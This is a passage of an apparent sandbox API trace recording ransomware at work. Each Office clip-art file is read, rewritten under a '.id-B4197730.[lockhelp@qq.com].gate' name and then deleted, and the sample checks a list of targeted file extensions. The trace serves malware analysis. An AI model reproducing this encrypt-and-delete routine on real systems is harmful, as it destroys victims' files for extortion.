lpOverlapped=0x0) returned 1 [0302.048] WriteFile (in: hFile=0x4c0, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0302.048] SetEndOfFile (hFile=0x4c0) returned 1 [0302.195] CloseHandle (hObject=0x4c0) returned 1 [0302.195] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.195] SetEndOfFile (hFile=0x564) returned 1 [0302.238] CloseHandle (hObject=0x564) returned 1 [0302.239] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0302.239] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00681_.wmf")) returned 1 [0302.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68 [0302.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68 [0302.239] lstrlenW (lpString=".doc") returned 4 [0302.240] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0302.240] lstrlenW (lpString=".docx") returned 5 [0302.240] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0302.240] lstrlenW (lpString=".pdf") returned 4 [0302.240] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0302.240] lstrlenW (lpString=".xls") returned 4 [0302.240] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0302.240] lstrlenW (lpString=".xlsx") returned 5 [0302.240] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0302.240] lstrlenW (lpString=".ppt") returned 4 [0302.240] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0302.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68 [0302.240] lstrlenW (lpString=".zip") returned 4 [0302.240] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0302.240] lstrlenW (lpString=".rar") returned 4 [0302.240] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0302.240] lstrlenW (lpString=".bz2") returned 4 [0302.240] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0302.240] lstrlenW (lpString=".7z") returned 3 [0302.240] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0302.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68 [0302.240] lstrlenW (lpString=".dbf") returned 4 [0302.240] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0302.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68 [0302.240] lstrlenW (lpString=".1cd") returned 4 [0302.240] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0302.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68 [0302.240] lstrlenW (lpString=".jpg") returned 4 [0302.240] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0302.241] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=2848) returned 1 [0302.241] CloseHandle (hObject=0x564) returned 1 [0302.241] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01013_.wmf")) returned 0x220 [0302.241] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01013_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0302.241] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01013_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0302.242] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.242] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.242] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01013_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0302.242] GetLastError () returned 0x0 [0302.243] ReadFile (in: hFile=0x564, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0xb20, lpOverlapped=0x0) returned 1 [0302.350] WriteFile (in: hFile=0x52c, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xb30, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xb30, lpOverlapped=0x0) returned 1 [0302.351] ReadFile (in: hFile=0x564, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0302.351] WriteFile (in: hFile=0x52c, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0302.351] SetEndOfFile (hFile=0x52c) returned 1 [0302.351] CloseHandle (hObject=0x52c) returned 1 [0302.351] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.351] SetEndOfFile (hFile=0x564) returned 1 [0302.413] CloseHandle (hObject=0x564) returned 1 [0302.413] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0302.414] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01013_.wmf")) returned 1 [0302.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0302.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0302.415] lstrlenW (lpString=".doc") returned 4 [0302.415] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0302.415] lstrlenW (lpString=".docx") returned 5 [0302.415] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0302.415] lstrlenW (lpString=".pdf") returned 4 [0302.415] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0302.415] lstrlenW (lpString=".xls") returned 4 [0302.415] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0302.415] lstrlenW (lpString=".xlsx") returned 5 [0302.415] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0302.415] lstrlenW (lpString=".ppt") returned 4 [0302.415] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0302.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0302.415] lstrlenW (lpString=".zip") returned 4 [0302.415] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0302.415] lstrlenW (lpString=".rar") returned 4 [0302.415] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0302.415] lstrlenW (lpString=".bz2") returned 4 [0302.415] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0302.415] lstrlenW (lpString=".7z") returned 3 [0302.415] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0302.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0302.415] lstrlenW (lpString=".dbf") returned 4 [0302.415] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0302.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0302.415] lstrlenW (lpString=".1cd") returned 4 [0302.415] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0302.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0302.415] lstrlenW (lpString=".jpg") returned 4 [0302.415] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0302.417] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=1268) returned 1 [0302.417] CloseHandle (hObject=0x564) returned 1 [0302.417] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01065_.wmf")) returned 0x220 [0302.417] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01065_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0302.417] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01065_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0302.418] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.418] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.418] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01065_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0302.418] GetLastError () returned 0x0 [0302.418] ReadFile (in: hFile=0x564, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x4f4, lpOverlapped=0x0) returned 1 [0302.672] WriteFile (in: hFile=0x4e8, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0x500, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0x500, lpOverlapped=0x0) returned 1 [0302.673] ReadFile (in: hFile=0x564, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0302.673] WriteFile (in: hFile=0x4e8, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0302.673] SetEndOfFile (hFile=0x4e8) returned 1 [0302.684] CloseHandle (hObject=0x4e8) returned 1 [0302.685] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.685] SetEndOfFile (hFile=0x564) returned 1 [0302.721] CloseHandle (hObject=0x564) returned 1 [0302.721] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0302.721] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01065_.wmf")) returned 1 [0302.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0302.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0302.722] lstrlenW (lpString=".doc") returned 4 [0302.722] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0302.722] lstrlenW (lpString=".docx") returned 5 [0302.722] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0302.722] lstrlenW (lpString=".pdf") returned 4 [0302.722] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0302.722] lstrlenW (lpString=".xls") returned 4 [0302.723] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0302.723] lstrlenW (lpString=".xlsx") returned 5 [0302.723] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0302.723] lstrlenW (lpString=".ppt") returned 4 [0302.723] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0302.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0302.723] lstrlenW (lpString=".zip") returned 4 [0302.723] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0302.723] lstrlenW (lpString=".rar") returned 4 [0302.723] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0302.723] lstrlenW (lpString=".bz2") returned 4 [0302.723] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0302.723] lstrlenW (lpString=".7z") returned 3 [0302.723] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0302.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0302.723] lstrlenW (lpString=".dbf") returned 4 [0302.723] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0302.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0302.723] lstrlenW (lpString=".1cd") returned 4 [0302.723] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0302.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0302.723] lstrlenW (lpString=".jpg") returned 4 [0302.723] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0302.724] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=5414) returned 1 [0302.724] CloseHandle (hObject=0x564) returned 1 [0302.726] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01759_.wmf")) returned 0x220 [0302.726] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01759_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0302.727] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01759_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0302.727] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.727] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.727] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01759_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x50c [0302.728] GetLastError () returned 0x0 [0302.728] ReadFile (in: hFile=0x564, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x1526, lpOverlapped=0x0) returned 1 [0303.058] WriteFile (in: hFile=0x50c, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0x1530, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0x1530, lpOverlapped=0x0) returned 1 [0303.059] ReadFile (in: hFile=0x564, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0303.059] WriteFile (in: hFile=0x50c, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0303.059] SetEndOfFile (hFile=0x50c) returned 1 [0303.059] CloseHandle (hObject=0x50c) returned 1 [0303.060] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.060] SetEndOfFile (hFile=0x564) returned 1 [0303.066] CloseHandle (hObject=0x564) returned 1 [0303.066] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0303.188] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01759_.wmf")) returned 1 [0303.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0303.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0303.189] lstrlenW (lpString=".doc") returned 4 [0303.189] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0303.189] lstrlenW (lpString=".docx") returned 5 [0303.189] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0303.189] lstrlenW (lpString=".pdf") returned 4 [0303.189] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0303.189] lstrlenW (lpString=".xls") returned 4 [0303.189] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0303.189] lstrlenW (lpString=".xlsx") returned 5 [0303.189] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0303.189] lstrlenW (lpString=".ppt") returned 4 [0303.189] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0303.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0303.189] lstrlenW (lpString=".zip") returned 4 [0303.189] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0303.189] lstrlenW (lpString=".rar") returned 4 [0303.189] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0303.189] lstrlenW (lpString=".bz2") returned 4 [0303.189] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0303.189] lstrlenW (lpString=".7z") returned 3 [0303.189] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0303.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0303.189] lstrlenW (lpString=".dbf") returned 4 [0303.190] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0303.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0303.190] lstrlenW (lpString=".1cd") returned 4 [0303.190] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0303.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0303.190] lstrlenW (lpString=".jpg") returned 4 [0303.190] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0303.190] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=5552) returned 1 [0303.190] CloseHandle (hObject=0x564) returned 1 [0303.190] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02298_.wmf")) returned 0x220 [0303.190] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02298_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0303.191] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02298_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0303.191] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.191] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.191] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02298_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0303.192] GetLastError () returned 0x0 [0303.192] ReadFile (in: hFile=0x564, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x15b0, lpOverlapped=0x0) returned 1 [0303.248] WriteFile (in: hFile=0x4b8, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0x15c0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0x15c0, lpOverlapped=0x0) returned 1 [0303.250] ReadFile (in: hFile=0x564, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0303.250] WriteFile (in: hFile=0x4b8, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0303.250] SetEndOfFile (hFile=0x4b8) returned 1 [0303.250] CloseHandle (hObject=0x4b8) returned 1 [0303.250] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.250] SetEndOfFile (hFile=0x564) returned 1 [0303.356] CloseHandle (hObject=0x564) returned 1 [0303.356] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0303.356] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02298_.wmf")) returned 1 [0303.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0303.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0303.357] lstrlenW (lpString=".doc") returned 4 [0303.357] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0303.357] lstrlenW (lpString=".docx") returned 5 [0303.357] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0303.357] lstrlenW (lpString=".pdf") returned 4 [0303.357] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0303.357] lstrlenW (lpString=".xls") returned 4 [0303.357] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0303.357] lstrlenW (lpString=".xlsx") returned 5 [0303.357] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0303.357] lstrlenW (lpString=".ppt") returned 4 [0303.357] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0303.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0303.357] lstrlenW (lpString=".zip") returned 4 [0303.357] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0303.357] lstrlenW (lpString=".rar") returned 4 [0303.358] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0303.358] lstrlenW (lpString=".bz2") returned 4 [0303.358] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0303.358] lstrlenW (lpString=".7z") returned 3 [0303.358] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0303.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0303.358] lstrlenW (lpString=".dbf") returned 4 [0303.358] lstrcmpiW 